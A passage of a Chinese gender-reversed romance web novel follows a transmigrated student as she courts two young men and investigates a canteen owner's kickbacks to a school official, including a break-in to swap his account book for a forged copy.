凛丞勾了勾嘴角,无奈的摇头,“不用了,你打得架已经够多了。今天我还听见院长吃饭时说,项少娘理直气壮的跟她汇报事情经过,她本来气得头疼,想罚来着,但转眼一看从大一到大三,全校都是伤员,这才训斥几句了事。”
陆锦澜脑筋一转,“对啊,院长和师傅们也在食堂吃饭,她们吃得和我们不一样吗?”
“不一样,她们吃的是老板夫亲自做的,食材是精心处理的,菜品是精心烹制的。所以老板夫经常和院长抱怨,说学生们太能吃,伙食费交的少,他每月都赔本呢。事实上,他赚得不要太多,也不知道他是怎么拿到这份差事的。”
陆锦澜呵呵一笑,“我知道。”
“你知道?你怎么会知道?”
陆锦澜根据前世的经验,笑道:“明明是不配经营的人,却能拿到食堂的经营权,这种情况只有一种解释:老板是校领导的亲戚,背后有利益输送。”
陆锦澜回去就把这个情况告诉了项如蓁和晏无辛,“怎么样?食堂的事儿,学生会管不管?”
项如蓁:“当然要管,而且要一管到底。《民生课》不要咱们交一个实践治理的方案吗?咱们三人这个小组,就以食堂治理为例,我来写方案。”
陆锦澜:“那我来做调查。”
晏无辛摊了摊手,“动笔动脑的事儿,你俩做。有没有动手的事儿?交给我。”
二人笑着各自捶了她一拳,“你歇着吧。”
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*
第二天晚上,陆锦澜又和凛丞在林中见面。
“这是什么?”
“久安堂新研制的药物驱蚊水,今天庆儿来隔着墙送饭,听说咱们这儿蚊子多,特意送了这个来。我们宿舍还好,倒是你们宿舍那边,蚊子最多。你看,你这手被咬的。”
陆锦澜说着拧开玉色的小瓷瓶儿,倒了一点药水在指尖,轻轻涂抹在他啃咬的患处。手上、手臂上、还有脖颈间,凛丞僵在那儿,悄然红了耳根。
陆锦澜一边认真的涂抹,一边问:“对了,你知不知到你们食堂的老板夫住在哪儿?”
“知道,就在隔壁街柳叶巷,糖水铺旁边的红门小院,你问这个干什么?”
“我打算跟踪调查,看看他和什么人来往。看看他每月收了费之后,把钱孝敬给谁。”
陆锦澜说着拉了下他的领子,凛丞连忙按住她的手,“干什么?”
陆锦澜:“抹药啊。”
凛丞脸红道:“我看你就是想占便宜。”
陆锦澜眼神一变,带着玩味的笑意,凑近道:“这算什么占便宜?你知不知道什么叫占便宜?”
两人离得极近,气息交缠在一起,凛丞紧张得控制着呼吸:“什么?”
陆锦澜看着他英俊的五官近在咫尺,看着他幽深的眼眸流露出悸动的目光,她的心也如这林中的草木,随风摇曳着。
虽然理智提醒她,像凛丞这样保守的男人很难接受亲密的举动,但她还是无法自控的吻了上去。
柔软的唇瓣贴上他的,轻轻研磨。
那一瞬间,风好像连同他的呼吸一同静止了,四周宁静得可怕。
陆锦澜稍稍后退些许,预计大概会有一个耳光落在她脸上。
然而他只是望着她,然后猛然起身,落荒而逃。从此,好几天不和她说话。
*
这天,陆锦澜和项如蓁晏无辛一起,照旧在西墙约定地点接饭。
庆儿踩着梯子递过食盒,手里的两包药滑落到地上。
“少主,快帮我捡一下,这可是给楼公子的药。”
陆锦澜皱了下眉,“雨眠怎么了?”
庆儿道:“自从上次你骂了他之后,他就一直闷闷不乐的。这两日得了风寒,病得不轻。少主,你……你有没有话让我带给他?哪怕只是一句安慰也好,他听到了病一定会尽快好起来的。”
陆锦澜不悦道:“病了就吃药,我又不是医师。再说,他是真病还是假病?他就住在久安堂的隔壁,你给他送药,用得着带到这儿来吗?庆儿,你是不是以为你家少主是个傻子?”
庆儿忙解释道:“庆儿不敢,楼公子真的病了,他一个人孤苦无依的,又整天思念少主。我看他实在可怜,才斗胆跟你提起,庆儿以后不敢多嘴了。”
庆儿急得泪眼汪汪的,晏无辛忙在一旁打圆场道:“好了好了,人家庆儿胆子小,你犯得着这么凶吗?我最见不得男人掉眼泪了,好庆儿,你家少主这几天被人冷落心情不好,不是冲你,你别放在心上。”
庆儿一走,晏无辛忍不住对陆锦澜道:“不是我说你,你对楼公子也太绝情了,人家为了你寻死觅活的,你疼他一点不行吗?”
陆锦澜猛地一愣:“什么叫为了我寻死觅活?”
30. 第 30 章
晏无辛心虚的摸了摸鼻子,“就……我帮你去逢春楼赎他那晚,他正因为不肯接客,要撞柱自尽。流了很多血,还挺吓人的。当时我也想不到别的办法,赶紧给他赎身。逢春楼正好离久安堂不远,我就和方卿连夜把他送到久安堂医治。顺便给他租了隔壁的院子,方便他就医拿药。”
陆锦澜震惊了许久,又惊又气:“这么大的事,你竟然一个字都没和我提起过?”
晏无辛冤道:“一开始不是你不让我说的吗?反正平掌柜说,雨眠是你的人她一定会治好,他又没有生命危险,我就没提。后来你生他的气,谁一提你就不高兴,我哪敢说啊?那不是找不痛快吗?”
陆锦澜顺了口气,“好好好,我就拜托你帮我办这一件事,你办的秃噜反帐。还有什么没说的,赶紧都告诉我。”
晏无辛捏着手想了想,“除了他寻死觅活的事儿都说了,别的你都知道了。”
陆锦澜捏了捏眉心,发现项如蓁一直在看她。
陆锦澜无奈道:“如蓁,这个时候你就别再说‘切勿沉迷男色’之类的话了。”
项如蓁立即否认:“我没想说这个,恰恰相反,我觉得楼公子此举令我刮目相看。他是个有情有义的贞洁烈男,你确实不该负了人家一片深情。”
晏无辛连声附和:“对啊,你陆锦澜是个英雌豪杰,对姐妹情深义重慷慨仗义,没得说。但是,你对男儿家是不是太薄情了?人家都叫你风流才女,你若这么辜负楼公子一片痴心,岂不成了负心女了?”
陆锦澜叹了口气,“有点乱,让我想想。”
陆锦澜万万想不到,楼雨眠对她如此深情。虽然那晚,通过系统提示,已经知道他对自己的喜欢,但,已经到了这种地步吗?
夜里睡不着,她不由回想起那天二人争执时,楼雨眠激动的神情。
他那双勾人摄魄的眼睛红得可怜,他仰望着她,用力的抓着她的衣摆痛心质问:“就因为我曾沦落风尘,你便觉得我人尽可妻吗?”
他为了她不想接客,宁愿去死。她竟然叫他去嫁给别的女人,那一刻他该有多伤心?
陆锦澜想到这些,恨不得抽自己一巴掌。
她翻来覆去睡不着,一咬牙把晏无辛和项如蓁都叫醒。
到了宿舍外面,陆锦澜立刻道:“我要出去一趟,去看看雨眠。”
晏无辛:“支持,去!这时候的男人最需要关怀。”
项如蓁迟疑了一下,“可是,这违反学生守则。”
陆锦澜道:“我不去,你说我负心。我去,你又说我违规。你倒是帮我想一个两全其美的主意啊。”
项如蓁拧着眉沉默片刻,仿佛真的努力在思考有没有什么两全其美的主意。
“有了!你若是因公外出,不得已触犯校规,便是合情合理的。在外出时,顺便去看看病中的楼公子,也在情理之中。”
陆锦澜点了点头,“你说得很有道理,只有一个问题,我哪来的公事?”
项如蓁:“你不是说食堂老板夫背后必有利益输送吗?反正他家也离久安堂不远,你过去看看,说不定有所收获。”
陆锦澜:“这可是你说的,回头因为这个罚我,我可不认。”
项如蓁忍俊不禁道:“你此次出去带着学生会的调查任务,被抓到算我的,我替你扛。”
“好姐妹!你俩帮我打掩护,我走了。”
于是项如蓁和晏无辛假装吵架吸引巡逻队,陆锦澜趁乱翻墙,直奔柳叶巷。
她找到糖水铺旁边的红门小院,屋内的人还没睡,看那个大脑袋大肚子的影子,应该就是食堂的老板夫了。
这老小子四十来岁,独身一人,社会关系简单,还真不好调查。陆锦澜从窗缝里看了看,那家伙数了会儿钱,理了理帐,吹灯睡觉。
陆锦澜暗自记下他放账本的位置,悄然离开。
*
楼雨眠服了药,刚刚躺下就寝,迷蒙中一只温热的手掌轻轻触摸着他的额头。
楼雨眠睁开眼,看见坐在床边的陆锦澜,霎时红了眼圈。
他声音轻颤的问:“我在做梦吗?”
陆锦澜笑了笑,“用不用我掐你一把?”
楼雨眠猛地扑过来,用力抱住她,蛮横道:“是梦我也欢喜,是梦就不准你走。”
陆锦澜轻拍着他的脊背,“你瘦了,还病着吗?”
“只是风寒而已,已经好了。只是平掌柜不放心,叮嘱我多喝几天药。如今京中男子以瘦为美,方卿为了给晏少娘惊喜,这两日都没吃什么东西。瘦了,不好吗?”
陆锦澜眉头一皱,“你不会也在跟风减肥吧?”
楼雨眠脸上闪过一丝心虚的目光:“你不喜欢我痩吗?那我以后多吃点。”
“嗯,不要太瘦,不健康,容易生病。”陆锦澜说着检查了下他的额头,上次有发带遮着,她都没注意到。现在仔细一看,果然有一块指甲大小的疤痕。
她不由心疼道:“你怎么会做这种傻事?上次见到我,怎么不说?”
楼雨眠垂下眼眸,“我没想用这件事绑架你的感情,我若真死了,更不想你白白关系上一条人命。我若真想那么做,那天早上就不该让你走,我就会抱着你的腿,恳求你为我赎身。我没那么做,是因为我知道,我不配。”
陆锦澜忙道:“不准你这么说,我又不是什么好女人。”
“你是,你是全天下最好的女人。我从来没有听说过哪个恩客,会瞧得起青楼里的男人。可那晚你对我说,不必妄自菲薄,风尘之中,也有性情中人。我也从来没被哪个女人怜惜过,可你是誉满天下的大才女,为了我提笔作诗,还留下了姓名。”
楼雨眠说到这里,露出一丝回味的笑意,“我那时就想,我这辈子算是值了,死也甘愿。我不知道你会让人来给我赎身,否则我是绝对不肯死的。”
他说着握住陆锦澜的手,“你就让我跟着你吧,我这辈子认定你了。我不要名分,更不敢奢望你钟情于我,我只求在你身边,哪怕是像庆儿那样做你的奴仆,只要你不赶我走就行了。”
“别说了。”陆锦澜亲了亲他的嘴角,“我不会赶你走了,我怎么忍心让我的男人伤心呢?”
楼雨眠眼睛一亮,“真的吗?”
虽然陆锦澜还没回答,他已经急切扑上来,好像一只摇尾巴的巨型犬,压着她亲个没完。
陆锦澜双眼迷离的摸了摸他的头,“勾引我?你不是病着?”
楼雨眠舔了舔唇,“我好了,真的。不信,你试试。”
陆锦澜勾了勾嘴角,伸手探入他的衣领,“那我就看看你有没有长进。”
床幔放下,恍然又下了一场暴雨。
天快亮
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的时候,楼雨眠伺候陆锦澜起床穿衣。
陆锦澜道:“这院子太小,委屈你了。等我休沐的时候,买个大宅子。平掌柜也真是的,亏她平日里那么周到体贴,知道你是我的人,也不说安排几个人来伺候。你一个人住着,我不放心。”
楼雨眠笑了笑,“我好歹有武艺傍身,京城治安良好,你不用担心。平掌柜倒说过要给我买两个小仆,我拒绝了,我自己能照顾自己。这院子六间房,我一个人住着,已经够大了。而且久安堂就在隔壁,庆儿平素会过来陪我说说话,很方便。最重要的是这里离你近,就算你买了大宅子,离你远了,我住着也没什么意思。”
陆锦澜:“那我找找学院附近的宅子,以后看你更方便。”
楼雨眠欣然点头,“那你后天能来吗?”
“后天怎么了?”
“后天是我的生辰。”
陆锦澜有些为难道:“不巧,后天正好有夜间考试。”
楼雨眠眼神暗了一下,忙道:“那算了,那我能和庆儿一起去给你送饭吗?”
“过些日子你再去吧,这两天先好好养身体,我得空再来看你。”
“好吧。”楼雨眠有些失落。
陆锦澜动了动唇,楼雨眠笑了笑会意的俯下身,她在他唇边落下安慰的一吻,“走了。”
陆锦澜回到学校,项如蓁问她:“查到什么了?”
陆锦澜:“老板夫有个账本,等后天我再出去一趟,找机会看看。”
项如蓁怪道:“明天不行吗?为什么偏要等到后天?”
陆锦澜暧昧的一笑,“因为后天是雨眠生辰,我总得陪陪他吧?”
项如蓁翻了个白眼,“陆大才女真是多情,服了你了。”
陆锦澜求助晏无辛,“你那些应子们过生辰,你送什么礼物?”
晏无辛嘶了一声,“我通常不特意送生辰礼物,可不是我抠不舍得花钱。我平常从来不亏待他们,我给他们的月例银子比别人家的常伴都丰厚。我是单纯怕麻烦,你想那么多男人,我哪能记得住他们哪天生日?送礼更是复杂,这个贵了那个贱了的,男人吃起醋来麻烦得很。你要送,你背着点凛丞,不然肯定跟你闹。”
陆锦澜点了点头,“当然。”
晏无辛一拍脑袋,“哎,有了!京中最近流行玉饰,我听说万玉斋新进了一块上好的白玉,做成了一百支白玉簪。价钱比普通的玉簪贵出十倍不止,要一百两一支。”
“一百两不贵,我不差钱。关键是咱们白天出不去,谁能帮我去买?”
“打听打听,万一有人能出去呢。”
陆锦澜问了一圈,一无所获。
晚上下了课,她正躺在宿舍床上琢磨这事儿,楚易舒从外面回来,笑道:“陆锦澜,外面有人找。”
“谁啊?”
“一位十分英俊的小公子。”
陆锦澜出来一看,竟然是凛丞。
自从她上次一时冲动亲了他,他见到她就躲,两人好几天没说话了。
陆锦澜一时诧异,“你怎么来了?”
凛丞:“听说你想托人到外面买东西?”
“啊,你们食堂真是消息灵通。”
“我明天跟着大厨师出去买菜,你要买什么,我帮你买。”
“啊?”陆锦澜深吸一口气,暗自心虚。
31. 第 31 章
让凛丞帮她买送给楼雨眠的生辰礼物,实在是那个。
陆锦澜想了想,“算了,也不是什么要紧的东西。我等休沐的时候,自己出去买。”
可凛丞坚持,“左右我要出去,你是怕麻烦我吗?我们之间,需要这么生分吗?”
陆锦澜无奈的叹了口气,“那你知道万玉斋在哪儿吗?那儿卖的白玉簪子据说不错。”
凛丞敏锐道:“白玉簪子?你要送人吗?送给男人?”
“啊,不是!不是我要送人,是无辛要送人。”陆锦澜决定适度的利用一下朋友,“她那人你也知道,惯爱招惹男人。想要送人礼物,自己又出不去,让我帮她问问。”
凛丞笑道:“你对晏同学真够可以的,这种事都帮她操心。”
陆锦澜底气不足的附和:“是,我这个人就是讲义气……”
凛丞想了想,特意强调:“我可不是为她,我是为你才肯跑一趟的。”
“那就多谢了。”陆锦澜拿出钱袋,犹豫了一下,取出两百两银票,“买两支。”
凛丞轻哼一声,“她可真是人傻钱多又花心。”
陆锦澜脸上挂着牵强的微笑,不敢说话。
她回头对晏无辛千叮万嘱,“千万别给我说漏了。”
晏无辛给她打包票,“我办事你放心,以后这种事咱俩就形成默契,你往我身上推的,我帮你圆。我往你身上推的,你帮我圆。有姐妹在,翻不了船。”
陆锦澜怀疑的看了她一眼,“那万一翻船了怎么办?”
“翻船了你就让他现实点啊!拜托,这个时代哪个女人不是三夫四郎的?你这么优秀的女人,怎么可能只要他一个?你不会头脑发热,乱许诺了吧?”
陆锦澜连忙摇头,“没有,我对凛丞其实什么都没许诺,但我隐隐知道他期待什么样的感情。虽然我们只是暧昧着,但彼此心里都有数的。”
晏无辛敲了敲她的脑袋,“醒醒!暧昧你心虚什么?暧昧又不用负责。你可太老实了,我跟你说,你这样的女人成了亲,最容易被夫郎欺负,小心丢我们女人的脸。”
“是吗?”陆锦澜笑容僵在脸上,“我老实吗?”
“老实啊,你看哪个女人像你这样,怕男人怕到这个地步。”
陆锦澜抿了抿唇,“我也不是怕男人,我只是尊重男人。”
晏无辛眉头一皱,“你没事吧?女尊男卑天经地义,你尊男干嘛?你要逆天啊?”
周围同学闻声纷纷看过来,陆锦澜连忙大声否认:“绝对没有!”
这是真的,她寻思着:对啊,我是干啥来的?
我不就是希望世界像爱男一样爱我吗?世界现在像爱男一样爱我了,我还不习惯,我是不是贱啊?
我有什么可心虚的?我不是就犯了全天下每个男人都会犯的错吗?
好不容易拿了男频剧本,有了男频待遇,我该狠狠享受啊。
对,我明明有无限宽广的道路,可以横行无忌,实在不必做出担惊受怕的窝囊样,丢女人的脸。
陆锦澜一通反思,细想下来,觉得是自己深受现代教育的原因。
教科书上写着“男女平等”,实际上不平等的现象比比皆是。
哪怕她觉醒了,成为了一名女权主义者,要的也是女男平等。
看似激进的把女字放在前面,其实强调的还是平等。最激进的女人,竟然都如此老实,只求一个公平,从来没想过多拿多要一丁点儿。
她不由在想,在数千年的男尊女卑岁月里,有男人会像她一样心中有愧,觉得亏欠了女人吗?有吗?
在后来的伪平等社会里,有多少男人会像她一样,清醒的认识到并且承认自己享有性别红利吗?
性别平等没错,但这话只有女人听进去并且践行,就大错特错了。
自己都被蚊子叮成啥样了,还忙着给人家挠痒痒呢?
陆锦澜看着眼前的这个世界,看着身边这些鲜活肆意的女人们。
在漫长的历史长河中,男尊社会恒久存在。而女尊社会,只存在于这里。
她们仅有这一次机会,享有男人的社会地位。如此罕见的情况,不真实得像一场梦。
陆锦澜想:在女性千年难得一遇的梦境里,自己要是还说一些逆天的话,那就太残忍太扫兴了。
她唤出了系统客服:「系统应该打我一下。」
客服老太:「为什么?系统没有识别出你违规。」
「那是系统太迟钝了,不够灵敏,应该修复这个BUG,加上一条新规则。」
「加什么?」
「享受性别红利,却不够心安理得,严重违背男频精神。」
*
七月二十一日,楼雨眠生辰。
一大早庆儿带着礼物过来,笑道:“我看你平时就爱写写画画的,就去给你买了一锭好墨。这两匹布,是平掌柜托我送给你的。上好的丝绸,拿来做衣裳最合适。”
楼雨眠一一接过,“小小生辰,难为你们记得。我在醉仙居定了桌酒席,一会儿方卿过来,你也别走了,你们两个陪我过生辰吧。”
三人厮混了一日,到傍晚时分,又剩下楼雨眠一个人。
他撑在书案上,呆呆的望着窗外,渐渐昏昏欲睡。
直到一双手覆住他的眼睛,耳边传来熟悉的声音:“猜猜我是谁。”
笑意率先在脸上漾开,他回头一看,又惊又喜:“你怎么来了?不是说今天有夜间考试吗?”
陆锦澜笑道:“骗你的,夜间黑漆漆的,考什么试?这种荒谬的话你都信?”
楼雨眠佯装无奈的叹了口气,“谁让我没读过皇家学院呢,谁知道你们这些帝王门生整日在做什么,当然是你说什么我信什么。”
陆锦澜勾了勾嘴角,“骗你也是为了给你惊喜,喏,给你的生辰贺礼,祝你十七岁生辰快乐。”
“你还为我特意准备了贺礼?”楼雨眠不可置信的打开精致的木盒,“是万玉斋的白玉簪,金贵难得。你每天都在学院上课,什么时候买的?”
“呃,托人买的。”
楼雨眠感动道:“难为你学业繁重,还为我费心。”
“你喜欢就好,今天怎么过的?许了什么愿望?”
陆锦澜坐下来,楼雨眠忙帮她倒了杯热茶,“庆儿和方卿陪我吃了饭才走的,我今天的愿望就是希望你能陪我过生日,已经实现了。”
他拉着陆锦澜的手,一脸守得云开见月明的得意,笑得万般迷人。
陆锦澜暗自叹了口气,起初她对楼雨眠只有露水情缘和对他身世的怜悯,现在却不得不承认对他多了几分喜欢。
因为他实在太招人喜欢了,年轻、英俊、对她深情又崇拜,极大
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的满足她的虚荣心。温柔体贴知进退,每次都把她伺候得明明白白。二人天长日久,就算是逢场作戏也会有感情的,何况是一个深情一个不忍。
楼雨眠既可怜又招人喜欢,饶是心肠再硬的女人,也舍不得薄待他。
陆锦澜抽出手,摸了摸他的脸,“再许一个愿望吧,我帮你实现。”
楼雨眠沉默片刻,语出惊人,“那我想为你生个孩子。”
“噗!”陆锦澜一口茶水喷出来,差点惊掉下巴。
楼雨眠有些伤心,“你是不是觉得我的出身,不配做你孩子的父亲?”
“不,不是。但是你突然说出来,我还是觉得很震撼。”
活了两辈子,第一次听见有人对她说,要为她生个孩子。
“那你就让我为你生一个孩子吧,生个女儿,她一定像你一样文武双全,将来建功立业定国安邦。”
陆锦澜犹豫了一下,“我想想,我先走了。”
楼雨眠一惊:“你这么快就走?是不是我惹你不高兴了?”
“不是,我去趟柳叶巷办件事儿,一会就回来。”
楼雨眠想了想,“那我陪你去。”
“你不是刚得过风寒,晚上风大,别出去了。”
楼雨眠不肯,“好不容易见你一面,想陪你多待一会儿,我不会耽误你办事情的。”
陆锦澜踟躇片刻,“好吧。”
从楼雨眠住的院子穿小路步行到柳叶巷,也就一盏茶的工夫。
这次陆锦澜带着楼雨眠绕到老板夫的屋后,从后窗悄悄窥探。
屋内亮着烛火,老板夫又在数钱。
楼雨眠低声道:“他一个男人,肯定不是我们的对手。我们干脆进去打晕他,想看什么就看什么。”
陆锦澜摇了摇头,“学院那边还没准备好,打草惊蛇他万一有了准备,我们倒不好往下办了。”
“那我们要等到什么时候?”
“等他睡着,我悄悄进去。”
话音未落,一阵风吹过。楼雨眠鼻子一酸,忍不住打了个喷嚏。
屋内人连忙起身,“谁在那儿?”
陆锦澜二话不说,拉着楼雨眠便跑。两人跑到巷子里,巷口迎面走来一个女人,她手里提着灯笼,那熟悉的身型让陆锦澜猛然一惊。
楼雨眠见她突然停住脚,诧异的问:“怎么了?”
陆锦澜低声道:“那人我认识,不能让她看见我。”
楼雨眠急道:“那怎么办?”
前面的人越走越近,后面老板夫已经打开了院门。
楼雨眠惊慌中,腰上忽然被她推了一把。
女人将他抵在青石墙壁上,猝不及防的吻了上来。
楼雨眠反应了一下,伸手捧着她的脸,热情的回应着。
阴暗狭窄的小巷,年轻的女男抱在一块,令人脸热的口水声清晰可闻。
路过的女人皱了皱眉不忍直视,只骂了一句:“真是有伤风化。”
老板夫看见女人来了,二人寒暄了几句,关门进去。
陆锦澜看着她们进了院子,方才放开怀里的男人。
她笑着拭了拭嘴角,“走吧,我们回去。”
楼雨眠怔了一下,“不用偷看账本啦?”
陆锦澜神秘道:“我今晚得到了比账本更重要的信息,账本改天再看。”
32. 第 32 章
陆锦澜回去和项如蓁晏无辛她们俩卖关子,“你们猜我看见谁去老板夫家了?”
晏无辛忙问:“谁?”
“苗学监。”
“竟然是她?”项如蓁喃喃道:“怪不得,学监日日监察食堂饭菜,都没有发现端倪,原来她们是一伙的。”
陆锦澜笑道:“我猜得没错,食堂这个冯老板和苗学监真的有亲戚,我亲耳听到冯老板叫她堂姐。”
项如蓁眼睛一亮,“我恍惚记得《廉政条例》有规定,若二人真有亲戚,学监还把食堂的经营权给冯老板,就是违规。回头我问问晏钰,她对律法最清楚,若真有这条,咱们就是搂草打兔子,不仅能把冯老板赶出学院,苗学监也吃不了兜着走。”
晏无辛摩拳擦掌,跃跃欲试:“那咱们还等什么?干脆明天就去找院长揭发此事。”
“不行!”陆锦澜和项如蓁异口同声道。
项如蓁道:“所有人都知道苗学监一直不喜欢我们,万一院长觉得我们是道听途说公报私仇恶意栽赃,不仅扳不倒苗学监,连食堂的事都很难推动下去。此事必须要查实,没有铁证之前不要走漏风声。”
陆锦澜道:“没错,目前就我们三个人知道。但到了事发当天,肯定需要其他人从旁协助。我看还可以加上晏钰、乐闻、琼梦,她们性格都比较稳重,做事也细心,如蓁再从学生会里选一些可靠的帮手,万一有个突发状况,能够帮忙控制局面。”
项如蓁连连点头,“要是苗学监和冯老板真是亲戚关系,去苗学监的老家就能打听出来。我看过学院登记资料,她老家就在京郊,后日休沐,我去查。”
晏无辛忙道:“京郊那片我熟,我和你一起去。”
陆锦澜想了想,“晚上冯老板总是在家,我没机会看账本。这次休沐,我想冒险白天去一趟,如果能查到他私下贿赂苗学监的证据,就算他们没亲戚关系,也能治一个行贿受贿的罪名。”
项如蓁道:“好,那我们后日一早兵分两路,大后日傍晚提前回校,在后山老地方见。”
三人商量妥当,到了休沐那日,项如蓁拉着晏无辛一大早出发。陆锦澜醒来,刚要出门,撞上了来找她的凛丞。
陆锦澜一愣:“找我有事吗?”
凛丞尴尬道:“没事,就是……就是你这几天好像很忙,遇到你都说不了几句话。我听说今晚有花灯表演,正好你休沐,要不要一起去看?”
陆锦澜一想,账本的事儿还没着落,她哪有心思看什么花灯啊?何况已经答应了楼雨眠,休沐日要去他那里。
于是,陆锦澜道:“不好意思,这两天都有事,抽不开身。”
凛丞眼神一暗,失落道:“是吗?没想到你休沐日也这么忙。”
陆锦澜这时才注意到他已经换好了外出的衣服,大约是计划着现在就和她一起出去的。让人家如此落空,她不由心生歉意,“对不起,这两日真的不行,下次吧。”
凛丞微微点头,“好。”
陆锦澜大步离开,走出一段路,偶一回头,发现凛丞还在原地站着,呆愣愣的也不知在想些什么。
陆锦澜脚步一滞,想到两人神京初遇时,是她鼓动凛丞抗婚的。后来凛丞不仅逃了婚,还为了她跑到学院里来做厨工。他那么怕脏的人,整日浸在厨房的油烟里,辛苦劳作,时不时还要忍受一些责骂。
他一个大户人家的独生小公子,想必平日也是有人围着伺候,衣来伸手饭来张口锦衣玉食娇生惯养的。如今他虽离家,身上也不缺银两,却偏偏要在这里受这种苦。
陆锦澜真希望他不是为她,可就算凛丞时常嘴硬,对她忽冷忽热,她也知道他留在这儿,和她脱不了关系。
“唉。”她叹了口气,快步走回去。
凛丞眼底露出一丝希冀的光,“你回来了?”
陆锦澜忙道:“我还是要走的,只是刚才忘了和你说,等我忙过这段时间,我们好好谈谈,好吗?我有很多话要对你说。”
凛丞微笑着应道:“好,我也有很多话对你说。”
“那我先走了。”
陆锦澜告别了凛丞,带上楼雨眠一同去了柳叶巷,老板夫白天果然不在家。
两人翻窗进去,顺利找到了账本。
楼雨眠见陆锦澜看账本看得出神,不由问道:“账本有用吗?”
陆锦澜:“非常有用,这老板夫的私账,不仅记录了食堂每月实际支出的银两,还记录了他每次给学监分银子的时间数目。账本是他亲笔所写,有他的印鉴和签名,他无论如何抵赖不得。”
楼雨眠喜道:“那还等什么?偷走吧。”
“让我想想。”陆锦澜在脑子里推算着,如果事发前老板夫发现账本丢了,联想到食堂的问题,提前警觉有所准备,她们可就很难抓个现行了。
陆锦澜踌躇片刻,“直接偷走不行,最好是我们把真的拿走,做本一模一样的假帐留在这儿,短时间内他应该没办法发现。这个账本市面上都有卖,做旧也不难,可他这个笔迹……”
陆锦澜自己的毛笔字都写得差强人意,模仿别人就更难了。
楼雨眠盯着账本看了看,忽道:“这个笔迹不难模仿,我可以试试。我在家的时候,经常模仿姐姐们的笔迹帮她们抄写文章,学堂的师傅都辨认不出来。”
“那太好了!”陆锦澜喜出望外,“咱们这就去买账本。”
陆锦澜又把真账本仔细端详一番,默记了一些内容,然后到书斋买了一模一样的账本,便回去做旧。
楼雨眠试着写了老板夫的名字和一些数字,“你看,像不像?”
陆锦澜笑道:“像极了,我竟然不知道你还有这样的本事。”
楼雨眠莞尔道:“雕虫小技,登不得大雅之堂,如果能帮到你我会很高兴的。”
陆锦澜道:“那就辛苦你了,前面的内容我看了,我念你写,咱们连夜赶工,先做一部分。明天对着真帐抄录剩下的,就天衣无缝了。”
二人前一晚忙活到临近子时才睡,第二日下午,冯老板一出门,二人立刻带着准备好的东西,轻车熟路的翻窗进去。
陆锦澜望风,楼雨眠专心抄写,大约用了一个多时辰,楼雨眠搁下笔,“抄好了。”
陆锦澜检查了一下,又仿照着真帐,在封面上加了个墨点。
楼雨眠道:“这回除了印鉴,简直一模一样,料他一时半会儿发现不了。”
“嗯,收拾东西,把这里恢复原样。”
陆锦澜将真帐揣在怀里,把假账放回抽屉。二人还没收拾完,院子里忽然进来
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了两个人,眨眼就到了屋门口。
此时二人刚刚收拾完,再想出去已经来不及,陆锦澜便拉着楼雨眠闪身躲进衣柜里。
然而下一秒,二人便听到了令人绝望的对话。
一个男人道:“老板夫可真是的,休沐时间还让咱们给他干活。还要拿什么衣服什么鞋子给他送过去,男老板就是麻烦。”
另一个男人道:“算了,他中途才接到消息要去赴宴的,咱们左右无事,就帮他跑一趟吧。”
陆锦澜听着暗自纳罕:这个声音,怎么有点耳熟啊?
楼雨眠紧张道:“怎么办?”
陆锦澜举了举拳头,没办法,实在不行只能来硬的,把人打晕算了。
然而下一秒,柜门被打开,看见凛丞站在面前,这一拳无论如何是不能打了。
三人六目相对,都不由得深吸一口气。
外间的那人循着声音过来,“怎么了?”
凛丞砰一声关上柜门,勉强镇定道:“没事,就是看见……两只蟑螂。”
男人一脸嫌恶道:“啊?我最烦蟑螂了。”
“是啊,蟑螂最讨厌了。我来找衣服,你去外面找鞋吧,别进来了,免得蟑螂爬到你身上。”
男人出去后,凛丞再一次打开柜门,看到楼雨眠头上的白玉簪嘴角浮现一丝冷笑,低声嘲讽:“原来你说的忙,是忙着偷情,偷到人家衣柜里来了。”
陆锦澜一脸心如死灰,但不得不解释道:“事情不是你想的那样,我们来这儿是为了偷东西,不是偷情,我没那么变态。傍晚去后山,我给你解释。”
凛丞瞪了她一眼,抽走他要拿的衣服,又砰一声关上了柜门。
等他们走后,陆锦澜和楼雨眠终于松一口气,从衣柜里出来,检查了一番,才放心的离开。
回校前,楼雨眠还是有些不放心,“凛公子又看见我们在一起,一定误会了。要不要我去和他解释一下?我会告诉他,都是我勾引你的,你没有错,你只是可怜我罢了,希望他不要生你的气。”
陆锦澜瞥了他一眼,“你头上的簪子是我托他帮忙买的,他刚才知道是给你的,见了你只会更生气。”
“啊?”楼雨眠万万没想到这点,抿着唇,仿佛不知该说什么好的样子。
陆锦澜笑着哼了一声,“你心里高兴坏了吧?跟我就别装了,想笑就笑吧。”
楼雨眠咬着唇伏在她腿上,笑得发抖。抬起头果然满脸笑意,掩饰不住的欢喜,“我要是他,我也生气,你怎么对楼雨眠那么好啊?”
陆锦澜带着笑意掐住他的脖子,指甲划过他的喉结,恨恨道:“唯男子与小人难养也,我走了。”
她回学校,去面对她翻船的后果。
到了后山,项如蓁已经在那儿等着了。
陆锦澜忙问:“怎么样?”
项如蓁道:“查实了,冯老板的是苗学监庶父那支的亲戚,族谱都让我们抄来了。你怎么样?”
陆锦澜拿出账本,“我也拿到了铁证,还做了本假账放回原处。”
项如蓁喜道:“这么顺利?太好了。”
“不太好,有个意外情况。”陆锦澜瞄着山下怒气冲冲赶来的身影,无奈道:“我和雨眠躲在冯老板家的衣柜里,被凛丞堵个正着。”
33. 第 33 章
项如蓁:“什么?怎么会这样?你也太倒霉了吧。”
陆锦澜:“谁说不是呢?大概是命运安排我今日翻车吧。虽然我想过要和他坦白,大家就好聚好散,我在别的方面补偿他也就是了。可是在这种情况下被他撞见,原本准备好的话都用不上了。现在凛丞马上就要上来了,你有何良策?”
项如蓁一筹莫展,“我对男人一窍不通,要是无辛在这里,或许还能有个主意。偏偏她拉肚子,上茅房去了,怎么办?我看凛丞来势汹汹的,该不会打你吧?”
陆锦澜深吸一口气,挺直了胸膛,“我要拿出女人的风度,我不还手,给他打几下,猫抓似的,倒也没什么。”
项如蓁立刻竖起大拇指,赞道:“好女不和男斗,你真是纯娘们儿。他要不是个男的,我就替你揍他了。可惜他是个男的,只怕人家说咱们欺负老弱夫孺。不过他要真动手,我还是得劝他几句,小公子家没有一点男儿的样子,太凶悍,难怪你不选他。”
二人正商量着,凛丞从山下爬了上来,“陆锦澜!”
只见他怒意正盛,汹涌的怒意让他的呼吸就变得急促。深邃的面孔生起气来,格外冷峻,像冰山撞上了火山,充满了危险。
陆锦澜本能的后退几步,“别冲动,你听我解释。”
